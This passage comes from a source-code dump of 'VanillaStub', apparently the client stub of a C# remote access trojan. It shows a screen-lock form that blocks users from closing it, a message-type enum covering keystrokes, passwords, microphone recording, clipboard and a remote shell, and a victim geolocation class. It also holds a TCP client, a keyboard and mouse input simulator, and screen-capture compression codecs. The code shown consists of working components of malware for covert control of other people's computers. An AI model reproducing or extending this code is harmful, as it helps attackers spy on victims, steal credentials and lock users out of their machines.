49 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
50 | this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(45)))), ((int)(((byte)(52)))), ((int)(((byte)(54)))));
51 | this.ClientSize = new System.Drawing.Size(800, 450);
52 | this.Controls.Add(this.lblTitle);
53 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
54 | this.MaximizeBox = false;
55 | this.MinimizeBox = false;
56 | this.Name = "ScreenLock";
57 | this.ShowIcon = false;
58 | this.ShowInTaskbar = false;
59 | this.TopMost = true;
60 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.OnClose);
61 | this.ResumeLayout(false);
62 | this.PerformLayout();
63 |
64 | }
65 |
66 | #endregion
67 |
68 | private System.Windows.Forms.Label lblTitle;
69 | }
70 | }
--------------------------------------------------------------------------------
/VanillaStub/Forms/ScreenLock.cs:
--------------------------------------------------------------------------------
1 | using System.Windows.Forms;
2 |
3 | namespace VanillaStub.Forms
4 | {
5 | public partial class ScreenLock : IScreenLocker
6 | {
7 | public ScreenLock()
8 | {
9 | InitializeComponent();
10 | }
11 |
12 | //Prevent user from closing with alt f4 or other closing methods
13 | private void OnClose(object sender, FormClosingEventArgs e)
14 | {
15 | if (e.CloseReason == CloseReason.UserClosing)
16 | e.Cancel = true;
17 | }
18 | }
19 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Enums.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers
2 | {
3 | //Data types enum
4 | public enum DataType
5 | {
6 | ImageType = 0,
7 | NotificationType = 1,
8 | ClientTag = 2,
9 | ProcessType = 3,
10 | InformationType = 4,
11 | FilesListType = 5,
12 | CurrentDirectoryType = 6,
13 | DirectoryUpType = 7,
14 | FileType = 8,
15 | ClipboardType = 9,
16 | HardwareUsageType = 10,
17 | KeystrokeType = 11,
18 | CurrentWindowType = 12,
19 | MicrophoneRecordingType = 13,
20 | AntiVirusTag = 14,
21 | WindowsVersionTag = 15,
22 | MessageType = 16,
23 | PasswordType = 17,
24 | RemoteShellType = 18
25 | }
26 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Information/GeoInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Runtime.Serialization;
2 |
3 | namespace VanillaStub.Helpers.Information
4 | {
5 | [DataContract]
6 | public class GeoInfo
7 | {
8 | [DataMember(Name = "as")] public string As { get; set; }
9 |
10 | [DataMember(Name = "city")] public string City { get; set; }
11 |
12 | [DataMember(Name = "country")] public string Country { get; set; }
13 |
14 | [DataMember(Name = "countryCode")] public string CountryCode { get; set; }
15 |
16 | [DataMember(Name = "isp")] public string Isp { get; set; }
17 |
18 | [DataMember(Name = "lat")] public double Lat { get; set; }
19 |
20 | [DataMember(Name = "lon")] public double Lon { get; set; }
21 |
22 | [DataMember(Name = "org")] public string Org { get; set; }
23 |
24 | [DataMember(Name = "query")] public string Ip { get; set; }
25 |
26 | [DataMember(Name = "region")] public string Region { get; set; }
27 |
28 | [DataMember(Name = "regionName")] public string RegionName { get; set; }
29 |
30 | [DataMember(Name = "status")] public string Status { get; set; }
31 |
32 | [DataMember(Name = "timezone")] public string Timezone { get; set; }
33 |
34 | [DataMember(Name = "zip")] public string Zip { get; set; }
35 | }
36 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Networking/Networking.cs:
--------------------------------------------------------------------------------
1 | using VanillaStub.Helpers.Telepathy;
2 |
3 | namespace VanillaStub.Helpers.Networking
4 | {
5 | internal class Networking
6 | {
7 | public static Client MainClient = new Client();
8 | }
9 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Networking/Telepathy/EventType.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Telepathy
2 | {
3 | public enum EventType
4 | {
5 | Connected,
6 | Data,
7 | Disconnected
8 | }
9 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Networking/Telepathy/Logger.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace VanillaStub.Helpers.Telepathy
4 | {
5 | public static class Logger
6 | {
7 | public static Action Log = Console.WriteLine;
8 | public static Action LogWarning = Console.WriteLine;
9 | public static Action LogError = Console.Error.WriteLine;
10 | }
11 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Networking/Telepathy/Message.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Telepathy
2 | {
3 | public class Message
4 | {
5 | public int connectionId;
6 | public byte[] data;
7 | public EventType eventType;
8 |
9 | public Message(int connectionId, EventType eventType, byte[] data)
10 | {
11 | this.connectionId = connectionId;
12 | this.eventType = eventType;
13 | this.data = data;
14 | }
15 | }
16 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Networking/Telepathy/NetworkStreamExtensions.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Net.Sockets;
3 |
4 | namespace VanillaStub.Helpers.Telepathy
5 | {
6 | public static class NetworkStreamExtensions
7 | {
8 | public static int ReadSafely(this NetworkStream stream, byte[] buffer, int offset, int size)
9 | {
10 | try
11 | {
12 | return stream.Read(buffer, offset, size);
13 | }
14 | catch (IOException)
15 | {
16 | return 0;
17 | }
18 | }
19 |
20 | public static bool ReadExactly(this NetworkStream stream, byte[] buffer, int amount)
21 | {
22 | int bytesRead = 0;
23 | while (bytesRead < amount)
24 | {
25 | int remaining = amount - bytesRead;
26 | int result = stream.ReadSafely(buffer, bytesRead, remaining);
27 |
28 | if (result == 0)
29 | return false;
30 |
31 | bytesRead += result;
32 | }
33 |
34 | return true;
35 | }
36 | }
37 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Networking/Telepathy/SafeQueue.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace VanillaStub.Helpers.Telepathy
4 | {
5 | public class SafeQueue
6 | {
7 | private readonly Queue queue = new Queue();
8 |
9 | public int Count
10 | {
11 | get
12 | {
13 | lock (queue)
14 | {
15 | return queue.Count;
16 | }
17 | }
18 | }
19 |
20 | public void Enqueue(T item)
21 | {
22 | lock (queue)
23 | {
24 | queue.Enqueue(item);
25 | }
26 | }
27 |
28 | public bool TryDequeue(out T result)
29 | {
30 | lock (queue)
31 | {
32 | result = default(T);
33 | if (queue.Count > 0)
34 | {
35 | result = queue.Dequeue();
36 | return true;
37 | }
38 |
39 | return false;
40 | }
41 | }
42 |
43 | public bool TryDequeueAll(out T[] result)
44 | {
45 | lock (queue)
46 | {
47 | result = queue.ToArray();
48 | queue.Clear();
49 | return result.Length > 0;
50 | }
51 | }
52 |
53 | public void Clear()
54 | {
55 | lock (queue)
56 | {
57 | queue.Clear();
58 | }
59 | }
60 | }
61 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Networking/Telepathy/Utils.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Telepathy
2 | {
3 | public static class Utils
4 | {
5 | public static byte[] IntToBytesBigEndian(int value)
6 | {
7 | return new[]
8 | {
9 | (byte) (value >> 24),
10 | (byte) (value >> 16),
11 | (byte) (value >> 8),
12 | (byte) value
13 | };
14 | }
15 |
16 | public static int BytesToIntBigEndian(byte[] bytes)
17 | {
18 | return
19 | (bytes[0] << 24) |
20 | (bytes[1] << 16) |
21 | (bytes[2] << 8) |
22 | bytes[3];
23 | }
24 | }
25 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/IInputDeviceStateAdaptor.cs:
--------------------------------------------------------------------------------
1 | using VanillaStub.Helpers.Services.InputSimulator.Native;
2 |
3 | namespace VanillaStub.Helpers.Services.InputSimulator
4 | {
5 | public interface IInputDeviceStateAdaptor
6 | {
7 | bool IsKeyDown(VirtualKeyCode keyCode);
8 |
9 | bool IsKeyUp(VirtualKeyCode keyCode);
10 |
11 | bool IsHardwareKeyDown(VirtualKeyCode keyCode);
12 |
13 | bool IsHardwareKeyUp(VirtualKeyCode keyCode);
14 |
15 | bool IsTogglingKeyInEffect(VirtualKeyCode keyCode);
16 | }
17 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/IInputMessageDispatcher.cs:
--------------------------------------------------------------------------------
1 | using VanillaStub.Helpers.Services.InputSimulator.Native;
2 |
3 | namespace VanillaStub.Helpers.Services.InputSimulator
4 | {
5 | internal interface IInputMessageDispatcher
6 | {
7 | void DispatchInput(INPUT[] inputs);
8 | }
9 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/IInputSimulator.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Services.InputSimulator
2 | {
3 | public interface IInputSimulator
4 | {
5 | IKeyboardSimulator Keyboard { get; }
6 |
7 | IMouseSimulator Mouse { get; }
8 |
9 | IInputDeviceStateAdaptor InputDeviceState { get; }
10 | }
11 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/IKeyboardSimulator.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using VanillaStub.Helpers.Services.InputSimulator.Native;
4 |
5 | namespace VanillaStub.Helpers.Services.InputSimulator
6 | {
7 | public interface IKeyboardSimulator
8 | {
9 | IMouseSimulator Mouse { get; }
10 |
11 | IKeyboardSimulator KeyDown(VirtualKeyCode keyCode);
12 |
13 | IKeyboardSimulator KeyPress(VirtualKeyCode keyCode);
14 |
15 | IKeyboardSimulator KeyPress(params VirtualKeyCode[] keyCodes);
16 |
17 | IKeyboardSimulator KeyUp(VirtualKeyCode keyCode);
18 |
19 | IKeyboardSimulator ModifiedKeyStroke(IEnumerable modifierKeyCodes,
20 | IEnumerable keyCodes);
21 |
22 | IKeyboardSimulator ModifiedKeyStroke(IEnumerable modifierKeyCodes, VirtualKeyCode keyCode);
23 |
24 | IKeyboardSimulator ModifiedKeyStroke(VirtualKeyCode modifierKey, IEnumerable keyCodes);
25 |
26 | IKeyboardSimulator ModifiedKeyStroke(VirtualKeyCode modifierKeyCode, VirtualKeyCode keyCode);
27 |
28 | IKeyboardSimulator TextEntry(string text);
29 |
30 | IKeyboardSimulator TextEntry(char character);
31 |
32 | IKeyboardSimulator Sleep(int millsecondsTimeout);
33 |
34 | IKeyboardSimulator Sleep(TimeSpan timeout);
35 | }
36 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/IMouseSimulator.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace VanillaStub.Helpers.Services.InputSimulator
4 | {
5 | public interface IMouseSimulator
6 | {
7 | IKeyboardSimulator Keyboard { get; }
8 |
9 | IMouseSimulator MoveMouseBy(int pixelDeltaX, int pixelDeltaY);
10 |
11 | IMouseSimulator MoveMouseTo(double absoluteX, double absoluteY);
12 |
13 | IMouseSimulator MoveMouseToPositionOnVirtualDesktop(double absoluteX, double absoluteY);
14 |
15 | IMouseSimulator LeftButtonDown();
16 |
17 | IMouseSimulator LeftButtonUp();
18 |
19 | IMouseSimulator LeftButtonClick();
20 |
21 | IMouseSimulator LeftButtonDoubleClick();
22 |
23 | IMouseSimulator RightButtonDown();
24 |
25 | IMouseSimulator RightButtonUp();
26 |
27 | IMouseSimulator RightButtonClick();
28 |
29 | IMouseSimulator RightButtonDoubleClick();
30 |
31 | IMouseSimulator XButtonDown(int buttonId);
32 |
33 | IMouseSimulator XButtonUp(int buttonId);
34 |
35 | IMouseSimulator XButtonClick(int buttonId);
36 |
37 | IMouseSimulator XButtonDoubleClick(int buttonId);
38 |
39 | IMouseSimulator VerticalScroll(int scrollAmountInClicks);
40 |
41 | IMouseSimulator HorizontalScroll(int scrollAmountInClicks);
42 |
43 | IMouseSimulator Sleep(int millsecondsTimeout);
44 |
45 | IMouseSimulator Sleep(TimeSpan timeout);
46 | }
47 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/InputSimulator.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Services.InputSimulator
2 | {
3 | public class InputSimulator : IInputSimulator
4 | {
5 | public InputSimulator(IKeyboardSimulator keyboardSimulator, IMouseSimulator mouseSimulator,
6 | IInputDeviceStateAdaptor inputDeviceStateAdaptor)
7 | {
8 | Keyboard = keyboardSimulator;
9 | Mouse = mouseSimulator;
10 | InputDeviceState = inputDeviceStateAdaptor;
11 | }
12 |
13 | public InputSimulator()
14 | {
15 | Keyboard = new KeyboardSimulator(this);
16 | Mouse = new MouseSimulator(this);
17 | InputDeviceState = new WindowsInputDeviceStateAdaptor();
18 | }
19 |
20 | public IKeyboardSimulator Keyboard { get; }
21 |
22 | public IMouseSimulator Mouse { get; }
23 |
24 | public IInputDeviceStateAdaptor InputDeviceState { get; }
25 | }
26 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/MouseButton.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Services.InputSimulator
2 | {
3 | public enum MouseButton
4 | {
5 | LeftButton,
6 |
7 | MiddleButton,
8 |
9 | RightButton
10 | }
11 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/Native/HARDWAREINPUT.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Services.InputSimulator.Native
2 | {
3 | #pragma warning disable 649
4 | internal struct HARDWAREINPUT
5 | {
6 | public uint Msg;
7 |
8 | public ushort ParamL;
9 |
10 | public ushort ParamH;
11 | }
12 | #pragma warning restore 649
13 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/Native/INPUT.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Services.InputSimulator.Native
2 | {
3 | #pragma warning disable 649
4 | internal struct INPUT
5 | {
6 | public uint Type;
7 |
8 | public MOUSEKEYBDHARDWAREINPUT Data;
9 | }
10 | #pragma warning restore 649
11 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/Native/InputType.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Services.InputSimulator.Native
2 | {
3 | internal enum InputType : uint
4 | {
5 | Mouse = 0,
6 |
7 | Keyboard = 1,
8 |
9 | Hardware = 2
10 | }
11 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/Native/KEYBDINPUT.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace VanillaStub.Helpers.Services.InputSimulator.Native
4 | {
5 | #pragma warning disable 649
6 | internal struct KEYBDINPUT
7 | {
8 | public ushort KeyCode;
9 |
10 | public ushort Scan;
11 |
12 | public uint Flags;
13 |
14 | public uint Time;
15 |
16 | public IntPtr ExtraInfo;
17 | }
18 | #pragma warning restore 649
19 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/Native/KeyboardFlag.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace VanillaStub.Helpers.Services.InputSimulator.Native
4 | {
5 | [Flags]
6 | internal enum KeyboardFlag : uint
7 | {
8 | ExtendedKey = 0x0001,
9 |
10 | KeyUp = 0x0002,
11 |
12 | Unicode = 0x0004,
13 |
14 | ScanCode = 0x0008
15 | }
16 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/Native/MOUSEINPUT.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace VanillaStub.Helpers.Services.InputSimulator.Native
4 | {
5 | #pragma warning disable 649
6 | internal struct MOUSEINPUT
7 | {
8 | public int X;
9 |
10 | public int Y;
11 |
12 | public uint MouseData;
13 |
14 | public uint Flags;
15 |
16 | public uint Time;
17 |
18 | public IntPtr ExtraInfo;
19 | }
20 | #pragma warning restore 649
21 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/Native/MOUSEKEYBDHARDWAREINPUT.cs:
--------------------------------------------------------------------------------
1 | using System.Runtime.InteropServices;
2 |
3 | namespace VanillaStub.Helpers.Services.InputSimulator.Native
4 | {
5 | #pragma warning disable 649
6 | [StructLayout(LayoutKind.Explicit)]
7 | internal struct MOUSEKEYBDHARDWAREINPUT
8 | {
9 | [FieldOffset(0)] public MOUSEINPUT Mouse;
10 |
11 | [FieldOffset(0)] public KEYBDINPUT Keyboard;
12 |
13 | [FieldOffset(0)] public HARDWAREINPUT Hardware;
14 | }
15 | #pragma warning restore 649
16 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/Native/MouseFlag.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace VanillaStub.Helpers.Services.InputSimulator.Native
4 | {
5 | [Flags]
6 | internal enum MouseFlag : uint
7 | {
8 | Move = 0x0001,
9 |
10 | LeftDown = 0x0002,
11 |
12 | LeftUp = 0x0004,
13 |
14 | RightDown = 0x0008,
15 |
16 | RightUp = 0x0010,
17 |
18 | MiddleDown = 0x0020,
19 |
20 | MiddleUp = 0x0040,
21 |
22 | XDown = 0x0080,
23 |
24 | XUp = 0x0100,
25 |
26 | VerticalWheel = 0x0800,
27 |
28 | HorizontalWheel = 0x1000,
29 |
30 | VirtualDesk = 0x4000,
31 |
32 | Absolute = 0x8000
33 | }
34 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/Native/NativeMethods.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace VanillaStub.Helpers.Services.InputSimulator.Native
5 | {
6 | internal static class NativeMethods
7 | {
8 | [DllImport("user32.dll", SetLastError = true)]
9 | public static extern short GetAsyncKeyState(ushort virtualKeyCode);
10 |
11 | [DllImport("user32.dll", SetLastError = true)]
12 | public static extern short GetKeyState(ushort virtualKeyCode);
13 |
14 | [DllImport("user32.dll", SetLastError = true)]
15 | public static extern uint SendInput(uint numberOfInputs, INPUT[] inputs, int sizeOfInputStructure);
16 |
17 | [DllImport("user32.dll")]
18 | public static extern IntPtr GetMessageExtraInfo();
19 | }
20 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/Native/XButton.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Services.InputSimulator.Native
2 | {
3 | internal enum XButton : uint
4 | {
5 | XButton1 = 0x0001,
6 |
7 | XButton2 = 0x0002
8 | }
9 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/WindowsInputDeviceStateAdaptor.cs:
--------------------------------------------------------------------------------
1 | using VanillaStub.Helpers.Services.InputSimulator.Native;
2 |
3 | namespace VanillaStub.Helpers.Services.InputSimulator
4 | {
5 | public class WindowsInputDeviceStateAdaptor : IInputDeviceStateAdaptor
6 | {
7 | public bool IsKeyDown(VirtualKeyCode keyCode)
8 | {
9 | short result = NativeMethods.GetKeyState((ushort) keyCode);
10 | return result < 0;
11 | }
12 |
13 | public bool IsKeyUp(VirtualKeyCode keyCode)
14 | {
15 | return !IsKeyDown(keyCode);
16 | }
17 |
18 | public bool IsHardwareKeyDown(VirtualKeyCode keyCode)
19 | {
20 | var result = NativeMethods.GetAsyncKeyState((ushort) keyCode);
21 | return result < 0;
22 | }
23 |
24 | public bool IsHardwareKeyUp(VirtualKeyCode keyCode)
25 | {
26 | return !IsHardwareKeyDown(keyCode);
27 | }
28 |
29 | public bool IsTogglingKeyInEffect(VirtualKeyCode keyCode)
30 | {
31 | short result = NativeMethods.GetKeyState((ushort) keyCode);
32 | return (result & 0x01) == 0x01;
33 | }
34 | }
35 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/InputSimulator/WindowsInputMessageDispatcher.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using VanillaStub.Helpers.Services.InputSimulator.Native;
4 |
5 | namespace VanillaStub.Helpers.Services.InputSimulator
6 | {
7 | internal class WindowsInputMessageDispatcher : IInputMessageDispatcher
8 | {
9 | public void DispatchInput(INPUT[] inputs)
10 | {
11 | if (inputs == null) throw new ArgumentNullException("inputs");
12 | if (inputs.Length == 0) throw new ArgumentException("The input array was empty", "inputs");
13 | var successful = NativeMethods.SendInput((uint) inputs.Length, inputs, Marshal.SizeOf(typeof(INPUT)));
14 | if (successful != inputs.Length)
15 | throw new Exception(
16 | "Some simulated input commands were not sent successfully. The most common reason for this happening are the security features of Windows including User Interface Privacy Isolation (UIPI). Your application can only send commands to applications of the same or lower elevation. Similarly certain commands are restricted to Accessibility/UIAutomation applications. Refer to the project home page and the code samples for more information.");
17 | }
18 | }
19 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/StreamLibrary/Enums.cs:
--------------------------------------------------------------------------------
1 | namespace VanillaStub.Helpers.Services.StreamLibrary
2 | {
3 | public enum CodecOption
4 | {
5 | ///
6 | /// The Previous and next image size must be equal
7 | ///
8 | RequireSameSize,
9 |
10 | ///
11 | /// If the codec is having a stream buffer
12 | ///
13 | HasBuffers,
14 |
15 | ///
16 | /// The image will be disposed by the codec and shall not be disposed by the user
17 | ///
18 | AutoDispose,
19 |
20 | /// No codec options were used
21 | None
22 | }
23 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/StreamLibrary/IUnsafeCodec.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Drawing;
3 | using System.Drawing.Imaging;
4 | using System.IO;
5 | using VanillaStub.Helpers.Services.StreamLibrary.src;
6 |
7 | namespace VanillaStub.Helpers.Services.StreamLibrary
8 | {
9 | public abstract class IUnsafeCodec
10 | {
11 | private int _imageQuality;
12 | protected JpgCompression jpgCompression;
13 | protected LzwCompression lzwCompression;
14 |
15 | public IUnsafeCodec(int ImageQuality = 100)
16 | {
17 | this.ImageQuality = ImageQuality;
18 | ImageProcessLock = new object();
19 | }
20 |
21 | public abstract ulong CachedSize { get; internal set; }
22 | protected object ImageProcessLock { get; }
23 |
24 | public int ImageQuality
25 | {
26 | get => _imageQuality;
27 | set
28 | {
29 | _imageQuality = value;
30 | jpgCompression = new JpgCompression(value);
31 | lzwCompression = new LzwCompression(value);
32 | }
33 | }
34 |
35 | public abstract int BufferCount { get; }
36 | public abstract CodecOption CodecOptions { get; }
37 |
38 | public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
39 |
40 | public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
41 |
42 | public abstract void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format,
43 | Stream outStream);
44 |
45 | public abstract Bitmap DecodeData(Stream inStream);
46 |
47 | public abstract Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
48 | }
49 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/StreamLibrary/IVideoCodec.cs:
--------------------------------------------------------------------------------
1 | using System.Drawing;
2 | using System.IO;
3 | using VanillaStub.Helpers.Services.StreamLibrary.src;
4 |
5 | namespace VanillaStub.Helpers.Services.StreamLibrary
6 | {
7 | public abstract class IVideoCodec
8 | {
9 | public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
10 |
11 | public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
12 |
13 | public delegate void VideoDecodeProgress(Bitmap bitmap);
14 |
15 | protected JpgCompression jpgCompression;
16 |
17 | public IVideoCodec(int ImageQuality = 100)
18 | {
19 | jpgCompression = new JpgCompression(ImageQuality);
20 | this.ImageQuality = ImageQuality;
21 | }
22 |
23 | public abstract ulong CachedSize { get; internal set; }
24 | public int ImageQuality { get; set; }
25 |
26 | public abstract int BufferCount { get; }
27 | public abstract CodecOption CodecOptions { get; }
28 |
29 | public abstract event VideoCodeProgress onVideoStreamCoding;
30 |
31 | public abstract event VideoDecodeProgress onVideoStreamDecoding;
32 |
33 | public abstract event VideoDebugScanningDelegate onCodeDebugScan;
34 |
35 | public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
36 |
37 | public abstract void CodeImage(Bitmap bitmap, Stream outStream);
38 |
39 | public abstract Bitmap DecodeData(Stream inStream);
40 | }
41 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/StreamLibrary/src/ExtensionAttribute.cs:
--------------------------------------------------------------------------------
1 | namespace System.Runtime.CompilerServices
2 | {
3 | [AttributeUsage(AttributeTargets.Method)]
4 | public sealed class ExtensionAttribute : Attribute { }
5 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/StreamLibrary/src/Extensions.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using System.Drawing;
3 |
4 | namespace VanillaStub.Helpers.Services.StreamLibrary.src
5 | {
6 | public static class Extensions
7 | {
8 | public static SortedList> RectanglesTo2D(this Rectangle[] rects)
9 | {
10 | SortedList> Rects = new SortedList>();
11 | for (int i = 0; i < rects.Length; i++)
12 | {
13 | if (!Rects.ContainsKey(rects[i].Y))
14 | Rects.Add(rects[i].Y, new SortedList());
15 |
16 | if (!Rects[rects[i].Y].ContainsKey(rects[i].X))
17 | Rects[rects[i].Y].Add(rects[i].X, rects[i]);
18 | }
19 |
20 | return Rects;
21 | }
22 |
23 | public static SortedList> Rectangle2DToRows(
24 | this SortedList> Rects)
25 | {
26 | SortedList> RectRows = new SortedList>();
27 |
28 | for (int i = 0; i < Rects.Values.Count; i++)
29 | {
30 | if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y))
31 | RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList());
32 | if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X))
33 | RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]);
34 |
35 | Rectangle EndRect = Rects.Values[i].Values[0];
36 | for (int x = 1; x < Rects.Values[i].Values.Count; x++)
37 | {
38 | Rectangle CurRect = Rects.Values[i].Values[x];
39 | Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1];
40 | if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height)))
41 | {
42 | RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y,
43 | tmpRect.Width + EndRect.Width, tmpRect.Height);
44 | EndRect = Rects.Values[i].Values[x];
45 | }
46 | else
47 | {
48 | EndRect = Rects.Values[i].Values[x];
49 | RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect);
50 | }
51 | }
52 | }
53 |
54 | return RectRows;
55 | }
56 | }
57 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/StreamLibrary/src/JpgCompression.cs:
--------------------------------------------------------------------------------
1 | using System.Drawing;
2 | using System.Drawing.Imaging;
3 | using System.IO;
4 |
5 | namespace VanillaStub.Helpers.Services.StreamLibrary.src
6 | {
7 | public class JpgCompression
8 | {
9 | private readonly ImageCodecInfo encoderInfo;
10 | private readonly EncoderParameters encoderParams;
11 | private readonly EncoderParameter parameter;
12 |
13 | public JpgCompression(int Quality)
14 | {
15 | parameter = new EncoderParameter(Encoder.Quality, Quality);
16 | encoderInfo = GetEncoderInfo("image/jpeg");
17 | encoderParams = new EncoderParameters(2);
18 | encoderParams.Param[0] = parameter;
19 | encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long) 2);
20 | }
21 |
22 | public byte[] Compress(Bitmap bmp)
23 | {
24 | using (MemoryStream stream = new MemoryStream())
25 | {
26 | bmp.Save(stream, encoderInfo, encoderParams);
27 | return stream.ToArray();
28 | }
29 | }
30 |
31 | public void Compress(Bitmap bmp, ref Stream TargetStream)
32 | {
33 | bmp.Save(TargetStream, encoderInfo, encoderParams);
34 | }
35 |
36 | private ImageCodecInfo GetEncoderInfo(string mimeType)
37 | {
38 | ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
39 | int num2 = imageEncoders.Length - 1;
40 | for (int i = 0; i <= num2; i++)
41 | if (imageEncoders[i].MimeType == mimeType)
42 | return imageEncoders[i];
43 | return null;
44 | }
45 | }
46 | }
--------------------------------------------------------------------------------
/VanillaStub/Helpers/Services/StreamLibrary/src/LzwCompression.cs:
--------------------------------------------------------------------------------
1 | using System.Drawing;
2 | using System.Drawing.Imaging;
3 | using System.IO;
4 |
5 | namespace VanillaStub.Helpers.Services.StreamLibrary.src
6 | {
7 | public class LzwCompression
8 | {
9 | private readonly ImageCodecInfo encoderInfo;
10 | private readonly EncoderParameters encoderParams;
11 | private readonly EncoderParameter parameter;
12 |
13 | public LzwCompression(int Quality)
14 | {
15 | parameter = new EncoderParameter(Encoder.Quality, Quality);
16 | encoderInfo = GetEncoderInfo("image/jpeg");
17 | encoderParams = new EncoderParameters(2);
18 | encoderParams.Param[0] = parameter;
19 | encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long) EncoderValue.CompressionLZW);
20 | }
21 |
22 | public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
23 | {
24 | using (MemoryStream stream = new MemoryStream())
25 | {
26 | if (AdditionInfo != null)
27 | stream.Write(AdditionInfo, 0, AdditionInfo.Length);
28 | bmp.Save(stream, encoderInfo, encoderParams);
29 | return stream.ToArray();
30 | }
31 | }
32 |
33 | public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
34 | {
35 | if (AdditionInfo != null)
36 | stream.Write(AdditionInfo, 0, AdditionInfo.Length);
37 | bmp.Save(stream, encoderInfo, encoderParams);
38 | }
39 |
40 | private ImageCodecInfo GetEncoderInfo(string mimeType)
41 | {
42 | ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
43 | for (int i = 0; i < imageEncoders.Length; i++)
44 | if (imageEncoders[i].MimeType == mimeType)
45 | return imageEncoders[i];
46 | return null;
47 | }
48 | }
49 | }
--------------------------------------------------------------------------------
